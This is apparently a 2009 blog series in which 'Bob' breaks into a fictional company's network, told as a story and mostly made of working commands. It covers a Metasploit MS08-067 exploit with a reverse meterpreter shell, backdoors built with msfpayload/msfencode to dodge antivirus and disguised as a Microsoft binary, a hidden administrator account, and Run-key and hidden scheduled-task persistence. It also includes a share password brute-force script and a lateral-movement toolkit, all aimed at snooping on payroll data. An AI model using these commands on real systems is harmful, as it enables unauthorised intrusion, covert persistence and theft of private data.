Friday, November 20, 2009

Bob The Backdoor Man - Part 2

Previously in Bob Land....


The very next day Bob feels ready to hop back onto his compromised host on the Walliford Fries LAN and get his back doors planted. He logs into the wireless network with the WPA key he cracked earlier and he uses the gets a shell on the unpatched PC with the MS08-067 exploit.

use windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.102

set LPORT 8181
set RHOST 192.168.2.101

exploit



Bob migrates to a stable process then uploads his backdoors to the Windows\System32 directory using Meterpreters upload function.

migrate 714
lcd /root/payloads
upload winmsd32.exe

upload winmsd16.exe





After Bob lauches a shell he creates a new user and adds it to the Administrators, Power Users and the Backup Operators groups

shell
net user MS_Support31337 Support31337 /add
net localgroup Administrators MS_Support31337 /add
net localgroup "Backup Operators" MS_Support31337 /add

net localgroup "Power Users" MS_Support31337 /add



He choose these privileged groups as a group policy may be configured to control the local Administrators group and by remaining in the other groups he will still have a high level of access.



Now Bob wants to get down to business and plant some of these lovely backdoors he's created. Bobs first port of call is to create a registry entry to run his meterpreter payload and connect back to Bob each time the computer is booted.

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft winmsd32" /d "C:\Windows\System32\winmsd32.exe"



Bob check that his registry entry has been set using the reg query command.

reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run





Then it occurs to Bob that someone may well stumble across his registry entry and remove it so he decides to have a backup by creating some scheduled tasks. One task (the meterpeter reverse connect) will run every 10 minutes and the other (the listening shell) will run at startup.

schtasks /create /tn "Winmsd32" /tr C:\Windows\System32\winmsd32.exe /sc minute /mo 10 /RU "NT AUTHORITY\SYSTEM"

schtasks /create /tn "Winmsd16" /tr C:\Windows\System32\winmsd16.exe /sc onstart /RU "NT AUTHORITY\SYSTEM"



Now the only way the normal logged in user would see these Scheduled Tasks is by looking at the directory using a command prompt. Only an Administrator running schtasks on the PC would see these scheduled tasks, anyone else will see nothing. Even looking at the C:\Windows\Tasks folder through explorer wouldn't show the tasks as it will only show the current users tasks.

Bobs pretty happy about this but what would make him happier would be if it was really really hard to see his backdoors. Then it occurs to him that by changing the attributes on the jobs in the tasks folder it would be really really hard as the user would have to do a "dir /a:h *.*" on the directory specifically. Okay, so thats not really really hard but it is a bit of a bugger!

cd \windows\tasks
Attrib +H winmsd*.job


Then Bob checks his handy work by looking at just hidden files.




Great, Bob fires up another instance of msfconsole and sets up his handler for the sessions that should start coming in.

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.2.102

set LPORT 8080
set ExitOnSession false

set AutoRunScript winenum.rb

exploit -j -z



Within a minute or 2 Bob gets a session from his scheduled task backdoor.



What he really likes about these scheduled tasks is he wont get loads of sessions back from the same host, but if he looses connection he'll get another session back 10 minutes later. Also, every now and then Bob can change the AutoRunScript so Metasploit can gather all sorts of useful information on his behalf.


Now Bob is in, he has his backdoors sorted and he wants to have a look around to see what else might be interesting. Bob has a knows a guy who works for Wallifords. Now this guys is a bit of a dick and is always boasting about how much he earns. Bobs sure the guy exaggerates, wouldn't it be nice if Bob could access the payroll data and see if this guy is telling the truth?


Oh, look at that, lunch time. Bob goes and gets his dinner and has a think about what other interesting things he might be able to find on the Walliford network.


Coming next.......Bob gets to know his new friends!

Tuesday, November 17, 2009

Bob The Backdoor Man - Part 1

Previously in Bob Land......


Bob hears on the grapevine that ncat won't work as a single executable. This is a bit of a bugger and it does give Bob a problem. His intention was to use ncat for file transfers, proxies and backdoors. It was also pretty useful that it was pretty much undetected by AV.

Luckily for Bob he hears from a good friend that it's quite possible to modify netcat to be able to bypass anti-virus software. And luckily for Bob, the most talented Muts has created a video that shows him exactly how to do that here.

This problem also presents Bob with the perfect opportunity to get his hands dirty with some msfpayload love. He reckons that if he creates a couple of payloads to add into his cab file he should be able to do everything he needs. And the beauty of using msfpayload is he'll be able to run them through msfencode to bypass most anti-virus.

Before Bob creates his payloads he grabs a copy of winmsd.exe from his Windows OS. It doesn't really matter to him what file it is he just wants one that is a Microsoft file. He want this because all his payloads can take on the characteristics of the file. Rather than going to great lengths to hide a file, Bobs opinion is that hiding in plain site will probably be better.


Payload 1
For Bobs first payload he wants to create a generic payload that will spawn a command shell when he connects to it on port 6666.

./msfpayload windows/shell_bind_tcp LPORT=6666 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd16.exe




Bob has specified a payload that will bind a shell to port 6666. He outputs this in raw format to the msfencode program that will help avoid detection by anti-virus software. Finally he has specified that the file is called winmsd16.exe and upon physical inspection it will look just like the original winmsd.exe file.

After Bob creates the file he tests it out on his XP VM to make sure it works as expected.



Side by side it looks just like the original file, it is identical in size and looks just as through its a legitimate file from Microsoft.

Bob runs the file and checks he can connect to it with netcat.

nc 10.0.1.10 6666



Payload 2
Bobs second payload will connect back to him when he's on the wireless network and present him with a meterpreter shell.

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.102 LPORT=8080 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd32.exe

Again Bob uses a legitimate file to copy the characteristics from. This time on his host he has to make sure he has his listener ready on port 8080.

Bob decides that when he creates his listener he'll use msfconsole and pass the following commands:

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set LPORT 8080
set ExitOnSession false
set AutoRunScript winenum.rb
exploit -j -z

Bob has configured his listener to accept multiple sessions coming back to him, and the very useful winenum script developed by Carlos "Dark operator" Perez will run against each connecting host. All the information from the script will be stored in ~/.msf/logs/ Bob may well decide to change this at a later date to another script but for now he's very happy.

With his modified netcat and his payloads created and tested Bob rebuilds his cab file and goes to get his dinner. He knows that during his network exploration adventures he may well come up against some problems that will cause him to create some payloads on the fly but he'll deal with that when it happens.

Whilst eating his dinner Bob begins to worry that if the Admins at Walliford Fries patch the computers he may well lose his way in. By the time Bob has eaten his ice cream desert he has come up with a few ideas how he might overcome this particular problem.

Coming next....Backdoor Man - Part 2.

Tuesday, November 3, 2009

Bob Prepares For Action

Previously in Bob land.......



Bobs back and he's been thinking about his new playground. He's realised that if he's not careful he'll attract attention and get into trouble, so he needs to lay down some ground-rules and define some goals before he goes back on the Wallifords network. If he's going to get the maximum benefit from Wallifords as a training ground rather than a playground he needs to get serious and stop recklessly throwing exploits at any old box.

Goal 1
To extract as much information about the Walliford Network as possible.

Goal 2
To identify high value targets and gain access to those systems.

Goal 3
To remain undetected.

Goal 4
To generally have fun, learn his tools and practice his techniques.


Pretty simple goals eh. Bob knows that to remain undetected he's going to have to use as many tools that are already on the compromised host as he can. He knows that he needs to use as many legitimate tools as possible and only upload those that won't be detected by AV.

Getting his tools onto the compromised hosts is important, but uploading them one by one is a pain in the arse. Then Bob remembers something he heard in a great presentation on post exploitation from Dean Der Beer, a reference to a tool called Metacab. He takes a look at Metacab but decides against using it. Bob really likes the idea of Metacab but he wants a different set of tools so he goes about making his own version. Using the Makecab tool already in XP he creates a cab file containing the few additional tools he needs, knowing he can upload and extract the files from the cab with native windows tools from straight from the command-line.

The one tool he cannot do without is netcat but AV picks it up quite easily. Then Bob remembers that his Nmap directory has ncat, a new version of netcat with loads of additional features. Bob runs it through virustotal to see what gives.



Perfect, only detected by one AV product out of 41. Now Bob knows that he can use this tool for file transfer, creating proxies and even backdoors. Many of the other tools he decides to include in the cab file come from the Windows Resource Kit. This means that there is very little chance of them being detected by AV or looking like Potentially Unwanted Applications (PUA) on the host.


Tools List

cmd.exe
dsadd.exe
dsget.exe
dsquery.exe
edit.com
ncat.exe
net.exe
ngrep.exe
pmon.exe
PortQry.exe
reg.exe
srvinfo.exe
WinDump.exe

As expected VirusTotal finds nothing wrong with his other tools, but then again why would it.

So looking at his tools Bob has his ncat for backdoors and file transfer, he has a port scanner, pmon for keeping an eye on his hosts CPU and memory, tools for extracting anything out of Active Directory, packet sniffers, SrvInfo which is great for looking at details of servers. He also includes a couple of standard tools such as Net.exe and Cmd.exe which are there just encase they had been removed by the Sys Admin. Hopefully he's got everything he needs for a successful expedition into the Walliford Fries network. If not, he'll go back to the drawingboard and create a new cab file.

Bob also creates a few bat files that he can use for scanning and password checks. It's easier to create these now and include them in the cab than it is to write them on the fly.

His first bat file is a simple bruteforce script that will use in-built windows functions to bruteforce shares. He'll supply a userlist (names.txt) and a common password list (words.txt) to the bat file. The password list will be common passwords and can be tweaked using the inbuilt DOS Edit tool when he's on the target, and the userlists will be generated from his enumeration tool dsquery . After running the bruteforce script any succesfull logins will be saved to a text file (creds.txt). Bob knows from performing password audits in his other life that even when complex passwords are enforced users will still pick dumb complex passwords, such as Password01. And when it comes to change it......well of course were looking at Password02!

Before any bruteforcing is done Bob will be checking the password policies so he doesn't trip any account lockout thresholds. So if the account lockout policy triggers after 3 incorrect attempts in half an hour he'll just try 2 common passwords on all accounts. As they say, slow and steady wins the race.

Set /P target="Enter Target To Perform BF on:"
For /F %%i in (names.txt) do @(for /f %%j in (words.txt) do @echo %%i:%%j & @net use \\%target% %%j /u:%%i 2>nul && echo %%i:%%j >> ./creds.txt && net use \\%target% /del)


Bob will use the either net.exe or dsquery.exe to populate his names.txt file. Dsquery is fantastic for ripping through Active Directory and if you know what your doing you can use them to pretty much find out anything about users and computers. The beauty is, these tools can be run from any user account, so you don't need to pop an admins box to get some juicy info.

The next bat file that bob will include is to check for hosts that respond to a ping and output the results to a file.

set /P subnet="Enter subnet:"
for /L %%i in (1,1,255) do @ping -n 1 -w 1 %subnet%.%%i | find "Reply"



Another bat file is created to perform reverse lookups using a nslookup FOR loop.

set /P subnet="Enter subnet:"
For /L %%i in (1,1,255) do @nslookup %subnet%.%%i 2>nul | find "Name" && echo %subnet%.%%i



And finally a bat file to use the Portqry tool for port scans against hosts in a host file (hosts.txt). Again he can use dsquery or net.exe to populate the hosts file.

For /F %%i in (hosts.txt) do @PortQry.exe -n %%i -o 21,22,23,25,80,139,445,3389,1433 -p tcp

Ok, that'll do for now. Bob builds his ddf file for his cab file and creates the cab.

;*** MakeCAB Directive File for bin
;
.OPTION EXPLICIT ;*** Generate errors

.Set MaxCabinetSize=0
.Set MaxDiskSize=0

.Set CabinetNameTemplate=bin.cab

.set DiskDirectoryTemplate=CDROM ;

.Set CompressionType=MSZIP ;

.Set UniqueFiles="OFF"

.Set Cabinet=on
.Set DiskDirectory1=bin
bf.bat
cmd.exe
dsadd.exe

dsget.exe

dsquery.exe

edit.com

hosts.txt
names.txt

ncat.exe
net.exe

ngrep.exe

pingsweep.bat

pmon.exe

port-scan.bat

PortQry.exe

reg.exe

rev-lookup.bat

srvinfo.exe

WinDump.exe

words.txt

;*** EOF




And to build his super duper cab, he makes sure all the tools, bat files and the bin.ddf file is in the same directory and.....

makecab /F bin.ddf



Perfect, after building his cab file it comes in at less than 1MB, Bob honestly couldn't be happier. He'll have to use the windows built-in tool called Expand.exe to get his files out of the cab.

expand /F:* bin.cab .




Right with that done Bob is almost ready to hop onto his target and put his tools to good use and start his network exploration.



Bob Builds His Custom Payloads - Part 4 .......coming next

The Amazing Adventures of Bob!

I'll be putting together a few Bob Stories of the next little while so this is just really a place holder so my "Previous Entries" sidebar list doesn't get out of control.

Throughout these stories you will hopefully see Bob progress from a hapless script kiddie into a mean lean penetration machine. But then again, you might not!


Bobs Double Penetration Adventure - Part 1

Bobs Double Penetration Adventure - Part 2


Bob Prepares For Action - Part 3

Bob The Backdoor Man - Part 4

Bob The Backdoor Man (continued) - Part 5



What Bob Did. What Alice Saw - Part 1


What Bob Did. What Alice Saw - Part 2